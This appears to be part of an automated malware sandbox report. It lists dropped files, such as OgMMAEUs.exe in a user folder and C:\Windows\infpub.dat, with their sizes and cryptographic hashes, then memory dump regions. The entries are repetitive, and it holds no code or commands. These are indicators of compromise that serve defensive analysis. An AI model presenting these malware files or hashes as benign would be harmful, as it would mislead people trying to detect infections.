36619636d511fd4b77d3c1052067f5f2a514f7f31dfaa6b2e5677fbb61fd8cba

SHA512
287b57b5d318764b2e92ec387099e7e313ba404b73db64d21102ba8656636abbf52bb345328fe58084dc70414c9e2d8cd46abd5a463c6d771d9c3ba68759a559

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
904KB

MD5
0315c3149c7dc1d865dc5a89043d870d

SHA1
f74546dda99891ca688416b1a61c9637b3794108

SHA256
90c2c3944fa8933eefc699cf590ed836086deb31ee56ec71b5651fd978a352c9

SHA512
7168dc244f0e400fa302801078e3faec8cdd2d3cb3b8baaab0a1b3c0929d7cf41e54bfbe530ad5ce96a6b63761f7866d26aaae788c3138c34294174091478112

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
904KB

MD5
0315c3149c7dc1d865dc5a89043d870d

SHA1
f74546dda99891ca688416b1a61c9637b3794108

SHA256
90c2c3944fa8933eefc699cf590ed836086deb31ee56ec71b5651fd978a352c9

SHA512
7168dc244f0e400fa302801078e3faec8cdd2d3cb3b8baaab0a1b3c0929d7cf41e54bfbe530ad5ce96a6b63761f7866d26aaae788c3138c34294174091478112

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
1.4MB

MD5
e1b69c058131e1593eccd4fbcdbb72b2

SHA1
6d319439cac072547edd7cf2019855fa25092006

SHA256
b61c53f4137c41aa0a5538fc9a746034b3a903cc4b1b3c8b5f3d3118e1e2bd8f

SHA512
161a5923dc3a6507cbee3b547edcef4fbfe1dc6a04832c2472b1e635d758d1503a61361c2a83a13a0d8e4607516fda4ae6462a74df66b20a7c93174bbcc7129c

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
1.4MB

MD5
e1b69c058131e1593eccd4fbcdbb72b2

SHA1
6d319439cac072547edd7cf2019855fa25092006

SHA256
b61c53f4137c41aa0a5538fc9a746034b3a903cc4b1b3c8b5f3d3118e1e2bd8f

SHA512
161a5923dc3a6507cbee3b547edcef4fbfe1dc6a04832c2472b1e635d758d1503a61361c2a83a13a0d8e4607516fda4ae6462a74df66b20a7c93174bbcc7129c

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
1.2MB

MD5
d5e5853f5a2a5a7413f26c625c0e240b

SHA1
0ced68483e7f3742a963f2507937bb7089de3ffe

SHA256
415dd13c421a27ed96bf81579b112fbac05862405e9964e24ec8e9d4611d25f3

SHA512
49ea9ab92ce5832e702fac6f56a7f7168f60d8271419460ed27970c4a0400e996c2ea097636fc145e355c4df5cfbf200b7bf3c691133f72e4cad228f570b91e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
1.2MB

MD5
d5e5853f5a2a5a7413f26c625c0e240b

SHA1
0ced68483e7f3742a963f2507937bb7089de3ffe

SHA256
415dd13c421a27ed96bf81579b112fbac05862405e9964e24ec8e9d4611d25f3

SHA512
49ea9ab92ce5832e702fac6f56a7f7168f60d8271419460ed27970c4a0400e996c2ea097636fc145e355c4df5cfbf200b7bf3c691133f72e4cad228f570b91e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-M3M1Q.tmp\is-9U52M.tmp

Filesize
661KB

MD5
19672882daf21174647509b74a406a8c

SHA1
e3313b8741bd9bbe212fe53fcc55b342af5ae849

SHA256
34e6fea583cf1f995cf24e841da2060e0777405ac228094722f17f2e337ccea8

SHA512
eceddd4f1bbaf84dde72642f022b86033ba5a8b5105c573adcc49946d172e26e2512edce6f99e78dd3a2b0f8a23fa6138cca995a824e5f53a6ba925de434fa8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-M3M1Q.tmp\is-9U52M.tmp

Filesize
661KB

MD5
19672882daf21174647509b74a406a8c

SHA1
e3313b8741bd9bbe212fe53fcc55b342af5ae849

SHA256
34e6fea583cf1f995cf24e841da2060e0777405ac228094722f17f2e337ccea8

SHA512
eceddd4f1bbaf84dde72642f022b86033ba5a8b5105c573adcc49946d172e26e2512edce6f99e78dd3a2b0f8a23fa6138cca995a824e5f53a6ba925de434fa8f

Download Submit
C:\Users\Admin\MooskccM\OgMMAEUs.exe

Filesize
198KB

MD5
0c0a0b8b70462930cd4ea9f808867ef3

SHA1
6c64b1e07b8d99e3ccda2592ce870443ad8fd018

SHA256
557f3d8d8aa62543296f01161a0be511baa17acf20eb42e364d082ab3b2f8a69

SHA512
c7b7fc1c488fdeec12d507789b6fe132d7b1c2dc4b3c67c0b010db4d9c190fa6ec166f0edbd018fd0269fd939d4f55454c2f670b98e958b1282ab04e06b0e609

Download Submit
C:\Users\Admin\MooskccM\OgMMAEUs.exe

Filesize
198KB

MD5
0c0a0b8b70462930cd4ea9f808867ef3

SHA1
6c64b1e07b8d99e3ccda2592ce870443ad8fd018

SHA256
557f3d8d8aa62543296f01161a0be511baa17acf20eb42e364d082ab3b2f8a69

SHA512
c7b7fc1c488fdeec12d507789b6fe132d7b1c2dc4b3c67c0b010db4d9c190fa6ec166f0edbd018fd0269fd939d4f55454c2f670b98e958b1282ab04e06b0e609

Download Submit
C:\Windows\infpub.dat

Filesize
401KB

MD5
1d724f95c61f1055f0d02c2154bbccd3

SHA1
79116fe99f2b421c52ef64097f0f39b815b20907

SHA256
579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

SHA512
f2d7b018d1516df1c97cfff5507957c75c6d9bf8e2ce52ae0052706f4ec62f13eba6d7be17e6ad2b693fdd58e1fd091c37f17bd2b948cdcd9b95b4ad428c0113

Download Submit
C:\Windows\infpub.dat

Filesize
401KB

MD5
1d724f95c61f1055f0d02c2154bbccd3

SHA1
79116fe99f2b421c52ef64097f0f39b815b20907

SHA256
579fd8a0385482fb4c789561a30b09f25671e86422f40ef5cca2036b28f99648

SHA512
f2d7b018d1516df1c97cfff5507957c75c6d9bf8e2ce52ae0052706f4ec62f13eba6d7be17e6ad2b693fdd58e1fd091c37f17bd2b948cdcd9b95b4ad428c0113

Download Submit
memory/8-183-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/8-165-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/8-350-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/8-174-0x0000000000690000-0x0000000000696000-memory.dmp

Filesize
24KB

Download
memory/8-201-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1120-258-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1516-304-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/1516-341-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/1572-272-0x00000000007E0000-0x0000000000848000-memory.dmp

Filesize
416KB

Download
memory/1572-249-0x00000000007E0000-0x0000000000848000-memory.dmp

Filesize
416KB

Download
memory/1648-354-0x0000000002450000-0x00000000024A9000-memory.dmp

Filesize
356KB

Download
memory/1648-343-0x0000000000400000-0x000000000054F000-memory.dmp

Filesize
1.3MB

Download
memory/1796-338-0x0000000000C60000-0x0000000000CC0000-memory.dmp

Filesize
384KB

Download
memory/1796-334-0x00000000035D0000-0x00000000035D3000-memory.dmp

Filesize
12KB

Download
memory/1796-295-0x0000000000400000-0x0000000000843000-memory.dmp

Filesize
4.3MB

Download
memory/1796-336-0x0000000000400000-0x0000000000843000-memory.dmp

Filesize
4.3MB

Download
memory/1796-297-0x0000000000C60000-0x0000000000CC0000-memory.dmp

Filesize
384KB

Download
memory/2084-189-0x0000000000B90000-0x0000000000BCC000-memory.dmp

Filesize
240KB

Download
memory/2084-192-0x0000000005AD0000-0x0000000006074000-memory.dmp

Filesize
5.6MB

Download
memory/2084-204-0x00000000057A0000-0x00000000057F6000-memory.dmp

Filesize
344KB

Download
memory/2184-321-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download
memory/2440-353-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2440-345-0x00000000005A0000-0x00000000005B2000-memory.dmp

Filesize
72KB

Download
memory/2784-264-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2784-224-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2800-166-0x0000000000400000-0x0000000000A06000-memory.dmp

Filesize
6.0MB

Download
memory/2800-156-0x0000000000400000-0x0000000000A06000-memory.dmp

Filesize
6.0MB

Download
memory/2800-351-0x0000000000400000-0x0000000000A06000-memory.dmp

Filesize
6.0MB

Download
memory/2800-326-0x0000000000400000-0x0000000000A06000-memory.dmp

Filesize
6.0MB

Download
memory/2964-239-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2968-234-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2968-223-0x00000000020F0000-0x00000000021BE000-memory.dmp

Filesize
824KB

Download
memory/2968-220-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/3212-268-0x0000000000400000-0x0000000000CFB000-memory.dmp

Filesize
9.0MB

Download
memory/3388-134-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-137-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-132-0x0000025E281E0000-0x0000025E2820C000-memory.dmp

Filesize
176KB

Download
memory/3388-133-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/3428-335-0x0000000000400000-0x000000000044F000-memory.dmp

Filesize
316KB

Download
memory/3428-309-0x0000000000480000-0x0000000000483000-memory.dmp

Filesize
12KB

Download
memory/3448-347-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/3448-293-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/3448-283-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/3448-291-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/3448-302-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/3476-339-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/3480-213-0x0000000000690000-0x00000000006BE000-memory.dmp

Filesize
184KB

Download
memory/3480-219-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/3696-184-0x0000000000760000-0x00000000007E2000-memory.dmp

Filesize
520KB

Download
memory/3696-194-0x0000000005160000-0x00000000051F2000-memory.dmp

Filesize
584KB

Download
memory/3940-307-0x00007FF88B020000-0x00007FF88BA56000-memory.dmp

Filesize
10.2MB

Download
memory/4012-179-0x0000000000400000-0x0000000000450000-memory.dmp

Filesize
320KB

Download
memory/4012-199-0x0000000001650000-0x0000000001681000-memory.dmp

Filesize
196KB

Download
memory/4144-298-0x0000000000400000-0x000000000054F000-memory.dmp

Filesize
1.3MB

Download
memory/4144-331-0x0000000000400000-0x000000000054F000-memory.dmp

Filesize
1.3MB

Download
memory/4144-328-0x00000000007B0000-0x0000000000817000-memory.dmp

Filesize
412KB

Download
memory/4168-275-0x0000000000560000-0x000000000069B000-memory.dmp

Filesize
1.2MB

Download
memory/4204-240-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/4396-180-0x0000000000F80000-0x0000000001172000-memory.dmp

Filesize
1.9MB

Download
memory/4396-203-0x00000000059E0000-0x00000000059EA000-memory.dmp

Filesize
40KB

Download
memory/4396-185-0x0000000005A00000-0x0000000005A9C000-memory.dmp

Filesize
624KB

Download
memory/4456-287-0x0000000001140000-0x0000000001287000-memory.dmp

Filesize
1.3MB

Download
memory/4456-349-0x0000000003940000-0x0000000003A01000-memory.dmp

Filesize
772KB

Download
memory/4688-342-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4788-325-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-139-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-138-0x00007FF894610000-0x00007FF8950D1000-memory.dmp

Filesize
10.8MB

Download
memory/4872-323-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/5176-332-0x0000000000400000-0x0000000000843000-memory.dmp

Filesize
4.3MB

Download
memory/5176-340-0x0000000000BC0000-0x0000000000C20000-memory.dmp

Filesize
384KB

Download
memory/5176-355-0x0000000003490000-0x0000000003493000-memory.dmp

Filesize
12KB

Download
memory/5184-406-0x0000000002820000-0x0000000002888000-memory.dmp

Filesize
416KB

Download
memory/5184-419-0x0000000002820000-0x0000000002888000-memory.dmp

Filesize
416KB

Download
memory/5324-352-0x0000000000400000-0x0000000000A35000-memory.dmp

Filesize
6.2MB

Download
memory/5464-346-0x0000000000400000-0x000000000048D000-memory.dmp

Filesize
564KB

Download
memory/5464-348-0x0000000000820000-0x000000000084C000-memory.dmp

Filesize
176KB

Download
memory/6644-376-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download